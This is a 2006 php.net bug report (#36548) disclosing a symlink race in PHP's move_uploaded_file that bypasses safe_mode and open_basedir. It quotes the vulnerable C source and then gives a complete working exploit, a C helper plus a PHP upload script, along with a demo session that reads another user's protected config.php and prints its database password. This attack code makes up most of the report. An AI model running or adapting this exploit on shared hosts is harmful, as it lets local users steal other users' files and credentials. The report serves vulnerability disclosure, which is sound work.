php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #36548 PHP move_uploaded_file symlink safe_mode/open_basedir bypass
Submitted: 2006-02-27 19:40 UTC Modified: 2006-03-08 01:00 UTC
From: pucik at gazeta dot pl Assigned:
Status: No Feedback Package: Unknown/Other Function
PHP Version: 5.1.2 OS: linux
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: pucik at gazeta dot pl
New email:
PHP Version: OS:

 

 [2006-02-27 19:40 UTC] pucik at gazeta dot pl
Description:
------------
Hi,

Vulnerable code is:

ext/standard/basic_functions.c


PHP_FUNCTION(move_uploaded_file)
{
      zval **path, **new_path;
      zend_bool successful = 0;

      if (!SG(rfc1867_uploaded_files)) {
            RETURN_FALSE;
      }

      if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &path, &new_path) !=
SUCCESS) {            ZEND_WRONG_PARAM_COUNT();
      }
      convert_to_string_ex(path);
      convert_to_string_ex(new_path);

      if (!zend_hash_exists(SG(rfc1867_uploaded_files), Z_STRVAL_PP(path),
Z_STRLEN_PP(path)+1)) {            RETURN_FALSE;
      }

      if (PG(safe_mode) && (!php_checkuid(Z_STRVAL_PP(new_path), NULL,
CHECKUID_CHECK_FILE_AND_DIR))) {            RETURN_FALSE;
      }

      if (php_check_open_basedir(Z_STRVAL_PP(new_path) TSRMLS_CC)) {
            RETURN_FALSE;
      }

      VCWD_UNLINK(Z_STRVAL_PP(new_path));
      if (rename(Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)) == 0) {
            successful = 1;
      } else
            if (php_copy_file(Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)
TSRMLS_CC) == SUCCESS) {            VCWD_UNLINK(Z_STRVAL_PP(path));
            successful = 1;
      }

      if (successful) {
            zend_hash_del(SG(rfc1867_uploaded_files), Z_STRVAL_PP(path),
Z_STRLEN_PP(path)+1);      } else {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to move '%s' to
'%s'", Z_STRVAL_PP(path), Z_STRVAL_PP(new_path));      }
      RETURN_BOOL(successful);
}


That function doesn`t check "path" parameter. For example it could be symlink to
file that can be read only by apache.


3. PoC

We must upload some file, unlink this file from upload_dir folder and create
symlink to file what we wont to read. There is a full working code:


/* -------------------------------- phpbug_upload.c -----------------*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>

#define FILE_PATH "31337.txt"
#define LINKS_PATH "/usr/bin/links"

int main(int argc, char *argv[])
{
      int child;
      char buf[1024];
      char *url, *file;
      FILE *fp;
      memset(buf, 0, sizeof(buf));
      if(argc < 3)
      {
           printf("%s <php_file_url> <file_to_read>\n", argv[0]);
           exit(0);
      }

      url = argv[1];
      file = argv[2];

      child = fork();

      if(!child)
      {
           execl(LINKS_PATH, LINKS_PATH, "-source", url, NULL);
           perror("execl");
      }

      sleep(2);

      fp = fopen(FILE_PATH, "r");

      if(!fp)
      {
           perror("fopen");
           exit(-1);
      }

      fgets(buf, sizeof(buf), fp);

      fclose(fp);
      symlink(file, buf);

      wait();
      printf("\n");
      unlink(buf);
      return 0;
}
/* -------------------------------- phpbug_upload.c -----------------*/


/* -------------------------------- phpbug_upload.php -----------------*/
<?php

error_reporting(0);

if(isset($_FILES['plik']))
{
      $fp = fopen("31337.txt", "w");
      fputs($fp, $_FILES['plik']['tmp_name']);
      fclose($fp);
      chmod("31337.txt", 0777);
      unlink($_FILES['plik']['tmp_name']);
      sleep(4);
      move_uploaded_file($_FILES['plik']['tmp_name'],
$_FILES['plik']['name']."31337");      exit;
}

$fp = fsockopen($_SERVER["SERVER_ADDR"], 80, $errno, $errstr, 30);

if (!$fp) {
      echo "$errstr ($errno)<br />\n";
      exit;
}

$out = "POST " . $_SERVER['PHP_SELF'] . " HTTP/1.1\r\n";
$out .= "Host: " . $_SERVER["SERVER_NAME"] . "\r\n";
$out .= "Accept: */*\r\n";
$out .= "Content-Length: 196\r\n";
$out .= "Expect: 100-continue\r\n";
$out .= "Content-Type: multipart/form-data; "; 
$out .= "boundary=----------------------------c32f5965dde9\r\n\r\n";

fwrite($fp, $out);

fread($fp, 1024);

$out = "------------------------------c32f5965dde9\r\n";
$out .= "Content-Disposition: form-data; name=\"plik\";
filename=\"31337.txt\"\r\n"; $out .= "Content-Type: text/plain\r\n\r\n";
$out .=
"\r\nkurwamac\r\n\r\n------------------------------c32f5965dde9--\r\n\r\n";

fwrite($fp, $out);

while(!feof($fp))
      fread($fp, 1024);

fclose($fp);

readfile("31337.txt" . "31337");

unlink("31337.txt" . "31337");
unlink("31337.txt");

?>
/* -------------------------------- phpbug_upload.php -----------------*/


This is example of usage:

[czubakabra public_html]$ ls -l /home/users/test/public_html/config.php 
-r--------  1 http http 49 2006-01-01 19:01
/home/users/test/public_html/config.php

[czubakabra public_html]$ cat /home/users/test/public_html/config.php
cat: /home/users/test/public_html/config.php: Brak dost&#281;pu


[czubakabra public_html]$ links -source http://localhost/~czubakabra/test.php
<br />
<b>Warning</b>:  readfile() [<a href='function.readfile'>function.readfile</a>]:
open_basedir restriction in effect.
File(/home/users/test/public_html/config.php) is not within the allowed path(s):
(/home/users/pucik) in <b>/home/users/czubakabra/public_html/test.php</b> on
line <b>3</b><br /> <br />
<b>Warning</b>:  readfile(/home/users/test/public_html/config.php) [<a
href='function.readfile'>function.readfile</a>]: failed to open stream:
Operation not permitted in <b>/home/users/czubakabra/public_html/test.php</b> on
line <b>3</b><br />


But we can do it, with exploit this vulnerability:

[czubakabra public_html]$ ./phpbug_upload
"http://localhost/~czubakabra/phpbug_upload.php"
/home/users/test/public_html/config.php 
<?

echo "hihyha";

$dbpass = "hax0rek";

?>

This is very usefully on server that hosting shell accounts. It works also on
SeLinux systems and others, then user is other domain.

Best regards,
Damian Put


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2006-02-28 09:27 UTC] tony2001@php.net
Please provide unified diff with detailed explanations.
 [2006-03-08 01:00 UTC] php-bugs at lists dot php dot net
No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to "Open".
 
PHP Copyright © 2001-2023 The PHP Group
All rights reserved.
Last updated: Wed Feb 01 03:04:47 2023 UTC